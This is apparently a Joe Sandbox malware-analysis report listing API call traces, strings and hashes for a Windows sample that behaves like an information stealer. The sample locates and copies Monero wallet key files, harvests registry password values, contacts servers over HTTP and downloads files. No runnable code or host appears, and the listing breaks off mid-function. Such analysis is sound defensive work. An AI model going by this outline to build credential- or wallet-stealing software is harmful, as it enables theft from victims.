Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: da017c058fb2f294138a0ea1b89b15030ef27b9e8023dbd69d578e4640a9d96b
Instruction ID: 36ee7f3ac4f34f2e69ac811a17adbc1f593ee72d5fdd25ff7e799b1d0bb6bc25
Opcode Fuzzy Hash: da017c058fb2f294138a0ea1b89b15030ef27b9e8023dbd69d578e4640a9d96b
Instruction Fuzzy Hash: 0B7165B6900208BBDB14FBE0DC85FEE7379AB88304F00459DF605A7181EA78DB55CB95

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00794A78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 8f1af44f0471db40cbeeb3acc638c17ebe6dcb10dd0f8b1439207695b066911b
Instruction ID: 674d48b949cffd92695f0a4f51b6d393b2dd06dcaa63b8f6d50fb5eb71b8da29
Opcode Fuzzy Hash: 8f1af44f0471db40cbeeb3acc638c17ebe6dcb10dd0f8b1439207695b066911b
Instruction Fuzzy Hash: AA5164B195011897CB15FB61DD91BED733CAF54304F4041ADB60A62091EE385BDACBAA

Function 004152C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,0079B138), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,0079ABA0,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
lstrlenA.KERNEL32(00000000), ref: 0041532F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
lstrlenA.KERNEL32(00000000), ref: 00415383
strtok.MSVCRT(00000000,?), ref: 0041539E
lstrlenA.KERNEL32(00000000), ref: 004153AE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

ERROR, xrefs: 0041530A
ERROR, xrefs: 00415432
ERROR, xrefs: 004154A9
ERROR, xrefs: 0041546F
ERROR, xrefs: 004153B9

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: c3080ecd0a6d2aaa5a38b2191e54b3eb9af717d792ebc913c1fc0f2162e4d86d
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: c3080ecd0a6d2aaa5a38b2191e54b3eb9af717d792ebc913c1fc0f2162e4d86d
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,0079B138), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3
a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: c7bc458361b14762599541627539190d7fbcbcfe1bc678f5eaebc030e8ecc5e4
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: c7bc458361b14762599541627539190d7fbcbcfe1bc678f5eaebc030e8ecc5e4
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 022D0CC7 Relevance: 18.2, APIs: 12, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

memset.MSVCRT ref: 022D0E83
lstrcat.KERNEL32(?,00000000), ref: 022D0E9C
lstrcat.KERNEL32(?,00420D7C), ref: 022D0EAE
lstrcat.KERNEL32(?,00000000), ref: 022D0EC4
lstrcat.KERNEL32(?,00420D80), ref: 022D0ED6
lstrcat.KERNEL32(?,00000000), ref: 022D0EEF
lstrcat.KERNEL32(?,00420D84), ref: 022D0F01
lstrlen.KERNEL32(?), ref: 022D0F0E
memset.MSVCRT ref: 022D0F34
memset.MSVCRT ref: 022D0F48

Part of subcall function 022DAA87: lstrlen.KERNEL32(022C516C,?,?,022C516C,00420DDE), ref: 022DAA92
Part of subcall function 022DAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 022DAAEC

Part of subcall function 022D8DC7: GetSystemTime.KERNEL32(00420E1A,xJy,004205AE,?,?,022C1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FBC,00420E17), ref: 022D8DED

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022D9927: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,022D0DEC,?,00000000,?,00000000,004205C6,004205C5), ref: 022D9948

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 022D0FC1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 022D0FCD

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID:
API String ID: 1395395982-0
Opcode ID: 611dee48b04e9e0e2afdbc6d63dcd8839025fdd060787a2fa850c35645432629
Instruction ID: a685ae721c155f79dcaf4eb421fce70c855b875ad1e2f63a164b4a1933d12747
Opcode Fuzzy Hash: 611dee48b04e9e0e2afdbc6d63dcd8839025fdd060787a2fa850c35645432629
Instruction Fuzzy Hash: 5E81A5B5A20318ABCB14EBE0DD51FED733AAF54304F404599B30A66095EF746B88CF59

Function 022D0CB6 Relevance: 18.2, APIs: 12, Instructions: 185stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

memset.MSVCRT ref: 022D0E83
lstrcat.KERNEL32(?,00000000), ref: 022D0E9C
lstrcat.KERNEL32(?,00420D7C), ref: 022D0EAE
lstrcat.KERNEL32(?,00000000), ref: 022D0EC4
lstrcat.KERNEL32(?,00420D80), ref: 022D0ED6
lstrcat.KERNEL32(?,00000000), ref: 022D0EEF
lstrcat.KERNEL32(?,00420D84), ref: 022D0F01
lstrlen.KERNEL32(?), ref: 022D0F0E
memset.MSVCRT ref: 022D0F34
memset.MSVCRT ref: 022D0F48

Part of subcall function 022DAA87: lstrlen.KERNEL32(022C516C,?,?,022C516C,00420DDE), ref: 022DAA92
Part of subcall function 022DAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 022DAAEC

Part of subcall function 022D8DC7: GetSystemTime.KERNEL32(00420E1A,xJy,004205AE,?,?,022C1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FBC,00420E17), ref: 022D8DED

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022D9927: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,022D0DEC,?,00000000,?,00000000,004205C6,004205C5), ref: 022D9948

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 022D0FC1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 022D0FCD

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID:
API String ID: 1395395982-0
Opcode ID: 5f02957f32bc588cc3f78102301ac57cffd73d36a7e7861b7e9dc44853b35b92
Instruction ID: 6d95926cadfb206190f811555290e07144921651df6fe9686221a4d6a7b26356
Opcode Fuzzy Hash: 5f02957f32bc588cc3f78102301ac57cffd73d36a7e7861b7e9dc44853b35b92
Instruction Fuzzy Hash: A261B0B5520218ABCB14EBE0CD45FED773AAF54304F404599E70A66085EF746B88CF59

Function 022D5777 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 022DAA87: lstrlen.KERNEL32(022C516C,?,?,022C516C,00420DDE), ref: 022DAA92
Part of subcall function 022DAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 022DAAEC

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

StrCmpCA.SHLWAPI(00000000,004210C8,00000000), ref: 022D58AB
StrCmpCA.SHLWAPI(00000000,004210D0), ref: 022D5908
StrCmpCA.SHLWAPI(00000000,004210E0), ref: 022D5ABE

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022D5457: StrCmpCA.SHLWAPI(00000000,0042108C), ref: 022D548F

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022D5527: StrCmpCA.SHLWAPI(00000000,0042109C,00000000), ref: 022D557F
Part of subcall function 022D5527: lstrlen.KERNEL32(00000000), ref: 022D5596
Part of subcall function 022D5527: StrStrA.SHLWAPI(00000000,00000000), ref: 022D55CB
Part of subcall function 022D5527: lstrlen.KERNEL32(00000000), ref: 022D55EA
Part of subcall function 022D5527: strtok.MSVCRT(00000000,?), ref: 022D5605
Part of subcall function 022D5527: lstrlen.KERNEL32(00000000), ref: 022D5615

StrCmpCA.SHLWAPI(00000000,004210D8,00000000), ref: 022D59F2
StrCmpCA.SHLWAPI(00000000,004210E8,00000000), ref: 022D5BA7
StrCmpCA.SHLWAPI(00000000,004210F0), ref: 022D5C73
Sleep.KERNEL32(0000EA60), ref: 022D5C82

Strings

`.y, xrefs: 022D592C, 022D5932, 022D5991, 022D5997
p.y, xrefs: 022D585A, 022D5860, 022D5A4F, 022D5A54
0.y, xrefs: 022D5B56, 022D5B5C, 022D5C9B, 022D5CA1

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: 0.y$`.y$p.y
API String ID: 3630751533-686352929
Opcode ID: db5533aa26391db7b09057ab882c831095ddfd6089117583eb43885adc9af707
Instruction ID: 1af09305d74362530d0da35a099b817916e056058a68f053c20b98348f7d0778
Opcode Fuzzy Hash: db5533aa26391db7b09057ab882c831095ddfd6089117583eb43885adc9af707
Instruction Fuzzy Hash: 7FE13071920304ABCB18FBF0DD96DED737AAF55300F90826CA50666198EF786B58CF91

Function 022C64E7 Relevance: 16.7, APIs: 11, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A51
Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A68
Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A7F
Part of subcall function 022C4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 022C4AA0
Part of subcall function 022C4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 022C4AB0

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 022C6548
StrCmpCA.SHLWAPI(?,0064A480), ref: 022C656A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 022C659C
HttpOpenRequestA.WININET(00000000,00421A28,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 022C65EC
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 022C6626
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 022C6638
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 022C6664
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 022C66D4
InternetCloseHandle.WININET(00000000), ref: 022C6756
InternetCloseHandle.WININET(00000000), ref: 022C6760
InternetCloseHandle.WININET(00000000), ref: 022C676A

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID:
API String ID: 3074848878-0
Opcode ID: 6233cd159639085ce3b028a95152e179a77ccdecf231ea1e95f5afa63e354fd7
Instruction ID: f1841affff3fbdaa65179cc0db45dea65a35379aca79ec3dd8e152fbdf1ec06f
Opcode Fuzzy Hash: 6233cd159639085ce3b028a95152e179a77ccdecf231ea1e95f5afa63e354fd7
Instruction Fuzzy Hash: 0F716E75A60318ABDB24DFE0CC48FEE7779FB44700F204299E10A6B194DBB46A84CF41

Function 022D9277 Relevance: 16.7, APIs: 11, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 022D92D3

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: f19ccceb9d9d465938ce7f290bd949bbae8562b5bf3b96ffc27cc6e5329703af
Instruction ID: 5a23ed16cdc49c01577237718a2dad425fcaf2495f5f427c4e63c325dd28a9fb
Opcode Fuzzy Hash: f19ccceb9d9d465938ce7f290bd949bbae8562b5bf3b96ffc27cc6e5329703af
Instruction Fuzzy Hash: 6071FCB9950208ABDB14DFE4DC88FEEB7B9FF49300F108218F515A7294DB74A945CB61

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

sA, xrefs: 004172AE, 00417179, 0041717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: 335029b319d1980603acda44a43de6eff4f01f1b596770656a511b732844fbe7
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: 335029b319d1980603acda44a43de6eff4f01f1b596770656a511b732844fbe7
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 022D7767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 022D77A9
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 022D77E6
GetProcessHeap.KERNEL32(00000000,00000104), ref: 022D786A
RtlAllocateHeap.NTDLL(00000000), ref: 022D7871
wsprintfA.USER32 ref: 022D78A7

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Strings

:, xrefs: 022D77C3
\, xrefs: 022D77C7
C, xrefs: 022D77B3
B, xrefs: 022D78B4, 022D78BC, 022D7882, 022D788A

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$B
API String ID: 1544550907-183544611
Opcode ID: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction ID: 743dc7e5efefc5cd7aa3254724b8e7bc0f8ccdfbc4a72344be952a3f8f058a0e
Opcode Fuzzy Hash: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction Fuzzy Hash: DD416EB1D54258AFDB10DFD4CC45BEEBBB9AF48700F000199E505A7280D7796A84CBA5

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(00000000,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(00000000,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(00000000, : ), ref: 0040765A
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(00000000,00421804), ref: 004076A0
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(00000000,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 8dce06a7de27df674dc23bf429c7e28d88ca389d661d162c9425816a7145f92b
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 8dce06a7de27df674dc23bf429c7e28d88ca389d661d162c9425816a7145f92b
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 022D1612 Relevance: 15.2, APIs: 10, Instructions: 205stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 022D1642

